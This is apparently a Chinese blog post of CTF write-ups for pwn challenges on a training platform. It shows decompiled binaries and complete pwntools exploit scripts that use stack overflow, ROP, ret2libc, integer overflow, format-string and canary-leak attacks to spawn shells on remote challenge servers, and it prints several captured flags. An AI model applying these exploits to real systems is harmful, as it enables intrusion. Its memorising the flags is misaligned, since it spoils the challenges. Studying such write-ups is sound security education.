攻防世界-pwn部分题解(一)

一直做re觉得有些枯燥,闲着没事做一做好久没碰的pwn

level2

checksec一下,开了NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

程序中调用了system,在字符串视图里也找到了"/bin/sh",所以构造一个ROP就可以,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
io=process('./level2')
# io=remote('111.198.29.45',52249)
elf=ELF('./level2')

sys_addr=elf.symbols['system']

sh_addr=elf.search('/bin/sh').next()

payload='a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(sh_addr)

io.sendline(payload)
io.interactive()

guess_num

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}

这里首先看到是猜随机生成的数,然后如果所有的数都猜对了,就调用最后一个函数输出flag,首先的想法就是要替换掉seed,变成我们已知的数字,就可以调用相同版本的libc里的随机数生成函数,来生成同样的数,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *
# io = process('./guess_num')
io = remote('111.198.29.45', 46930)
# elf=ELF('./guess_num')
# libc=elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a'*0x20 + p64(0)
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(0)
for i in range(10):
num = str(libc.rand() % 6+1)
io.recvuntil('number:')
io.sendline(num)

io.interactive()

int_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

肯定选择1,进入login()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}

char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}

然后发现了一个奇怪的函数,可以利用

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

按理说我们只需要覆盖掉check_passwd()的返回值,然后伪造system栈帧就可以了,但是这里限制了我们输入的长度,但是观察汇编之后发现这个变量值是从al寄存器mov过来的,只能存储0-255的数字,因此我们可以输入259-263之间的字符数,就可以实现我们的目标,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
elf=ELF('./int_overflow')
sys_addr=elf.symbols['what_is_this']
# print hex(sys_addr)
# io=process('./int_overflow')
io=remote('111.198.29.45',41386)
io.sendlineafter('Your choice:','1')
io.sendlineafter('Please input your username:','rycbar')

io.recvuntil('Please input your passwd:')
payload='a'*0x14+'a'*4+p32(sys_addr)
payload=payload.ljust(263,'a')
io.send(payload)
io.recv()
io.interactive()

cgpwn2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}

char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

int pwn()
{
return system("echo hehehe");
}

所有需要用到的函数都在这里,可以看到自带system函数,但是没有/bin/sh,所以需要手动构造,正好之前输入了一个name是一个全局变量,可以直接找到地址,以此构造ROP,exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh_addr=0x0804A080
elf=ELF('./cgpwn2')
sys_addr=elf.symbols['system']
io=process('./cgpwn2')
io=remote('111.198.29.45',52898)
io.sendlineafter('please tell me your name','/bin/sh')
io.recvuntil('hello,you can leave some message here:')
payload='a'*0x26+p32(0)+p32(sys_addr)+p32(0)+p32(sh_addr)
io.sendline(payload)
io.interactive()

when_did_you_born

简单的栈溢出,经典题目,有膜法

1
2
3
4
5
6
7
8
9
from pwn import *

# io=process('./when_did_you_born')
io=remote('111.198.29.45',47087)
io.sendlineafter('What\'s Your Birth?','1000')
io.recvuntil("What's Your Name?")
payload='a'*(0x20-0x18)+p64(1926)
io.sendline(payload)
io.interactive()

hello_pwn

比上一题更简单的溢出(半斤八两)

1
2
3
4
5
6
7
from pwn import *
# io=process('./hello_pwn')
io=remote('111.198.29.45',42456)
io.recvuntil('bof')
payload='a'*4+p64(1853186401)
io.sendline(payload)
io.interactive()

level3

ret2libc,泄露一个函数地址然后算偏移,控制程序流程再执行一次漏洞函数,拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *

# io=process('./level3')
io=remote('111.198.29.45',41019)
elf=ELF('./level3')

write_plt=elf.plt['write']
vuln_addr = elf.symbols['vulnerable_function']
write_got=elf.got['write']

payload='a'*0x88+p32(0)+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('Input:\n')
io.sendline(payload)
write_leak=u32(io.recv()[:4])
libc=LibcSearcher('write',write_leak)
libc_base = write_leak - libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
io.recv()
payload='a'*0x88+p32(0)+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

这里还有个问题没解决,在本地运行一直不行,但是在服务器端就可以拿到shell,暂时还不知道原因

level0

也是很简单的一道题,但不知道为什么gdb和远程都能过,就是本地直接运行一直报segmentation fault

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sys_addr=0x400596
pop_ret_addr=0x400663
main_addr=0x4005c6
# io=process('./level0/level0')
io=remote('111.198.29.45',47038)
payload='a'*(0x80+8)+p64(sys_addr)
# print payload
io.recv()
io.send(payload)
io.interactive()

CGfsb

格式化字符串漏洞的利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}

两次输入,第一次只能输入10个字符,不够我们构造payload,所以利用第二次输入的格式化字符串漏洞实现任意地址可写,修改pwnme的值,exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
pwnme=0x0804A068
payload=p32(pwnme)+'a'*4+'%10$n'
# io=process('./CGfsb')
io=remote('111.198.29.45',37888)
io.sendlineafter('name:','a')
io.recvuntil('please:')
io.sendline(payload)
io.interactive()

很简单,直接输出flag

1
cyberpeace{428fd5c839a04a6d162bdd6610a094cf}

forgot

这道题简单的溢出就可以解决了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]

v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 32, stdin);
sub_80485DD((int)&s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2);
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == 64 )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == 46 )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))();
return fflush(stdout);
}

有两个输入的地方,第一个地方严格控制了输入的字符数,所以没什么用,第二个用了scanf,可以无限制的输入,利用这个地方来控制我们的程序。

这个程序开了NX,所以找找有没有可以利用的函数,找到

1
2
3
4
5
6
7
int sub_80486CC()
{
char s; // [esp+1Eh] [ebp-3Ah]

snprintf(&s, 0x32u, "cat %s", "./flag");
return system(&s);
}

接下来考虑怎么利用。程序最后会根据v14的值来判断该执行那个函数,看到有些人想要覆盖v14的值,我的做法就是保留v14=1然后去替换v3的值,因为即使替换掉v14,后面也会被修改。

下一步就是要控制v14的值不变,我的做法是在写入的时候先写入一个'\0',这样判断字符串长度的时候为0,直接跳出循环。exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
# io=process('./forgot')
io=remote('111.198.29.45',40669)
io.recvuntil('>')
io.sendline('a')
payload='\0'+'A'*0x1f+p32(0x80486cc)
io.recvuntil('>')
io.sendline(payload)
io.interactive()

得到flag

1
cyberpeace{3a2c567e832c79478c593e5f6f334830}

Mary_Morton

题目里面一共有两个漏洞,并且都标明出来了,不需要自己去找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}

int sub_4009DA()
{
puts("1. Stack Bufferoverflow Bug ");
puts("2. Format String Bug ");
return puts("3. Exit the battle ");
}

选择2的话会进入一个包含格式化字符串漏洞的函数,选择1会进入一个有栈溢出漏洞的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//格式化字符串
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}

//栈溢出
unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}

//目标函数
int sub_4008DA()
{
return system("/bin/cat ./flag");
}

如果checksec或者直接看到v2就可以发现,这个程序开了cannary保护,所以直接溢出是不行的,这时候可以考虑利用格式化字符串漏洞泄露cannary的值,因为进程没有中止就进入了下一个循环,所以cannary的值是不变的,这个时候选择利用栈溢出漏洞,覆盖返回地址为目标函数即可。这里虽然是64位,但是调用的函数没有参数,没必要构造很复杂的ROP链来控制程序执行流程。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
sys_addr=0x4008da
# io=process('./Mary_Morton')
io=remote('111.198.29.45',39178)
io.recvuntil("3. Exit the battle \n")
io.sendline("2")
io.sendline("%23$p")
cannary= int(io.recvline().strip('\n'),16)
print cannary
io.recvuntil("3. Exit the battle \n")
io.sendline("1")
payload=""
payload+='a'*0x88
payload+=p64(cannary)
payload+=p64(0)
payload+=p64(sys_addr)
io.sendline(payload)
io.interactive()

得到flag

1
cyberpeace{8b06a4becaf5e73cd79ea7d283d0bd89}
高校战疫-两道re-wp 攻防世界-re部分题解(四)

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×